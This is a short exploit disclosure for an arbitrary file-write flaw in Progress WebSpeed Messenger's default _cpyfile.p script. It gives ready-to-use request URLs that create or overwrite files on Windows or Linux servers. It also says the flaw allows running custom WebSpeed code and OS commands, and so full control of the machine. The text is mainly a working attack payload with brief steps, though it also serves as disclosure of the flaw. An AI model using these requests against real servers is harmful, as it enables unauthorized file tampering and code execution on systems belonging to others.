Progress Webspeed exploit for all releases
Because of a flaw in _cpyfile.p which is a default installed file it is
possible to gain full control of a machine running Progress Webspeed Messenger.
You can access, change and edit allmost any file on the server running the
Webspeed Messenger even when the workshop is disabled.
First you have to find the messenger execution url. For example:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1
http://yourmachine.com/scripts/wsisa.dll/WService=wsbroker1
just add the following to the url:
/webutil/_cpyfile.p?options=save,editor&tempFile=dummy.tmp&fileName=C:/root.txt&action=last§ion=1&txt0=Test
your url will look like this:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1/webutil/_cpyfile.p?options=save,editor&tempFile=dummy.tmp&fileName=C:/root.txt&action=last§ion=1&txt0=Test
When you execute this, the script will generate a file c:/root.txt which
contains the text Test.
For a Linux host just change the filename=C:/root.txt into
filename=/tmp/root.txt
_cpyfile.p replaces the file if it allready exist. This is just a simple
example to create a file root.txt with the text test in it. But it is also
possible to write your own webspeed code and execute it. And webspeed supports
OS-Commands so there are multiple ways of exploiting this flaw If tried this on
webspeed 3.1a , 3.1d and 3.1e everytime it worked.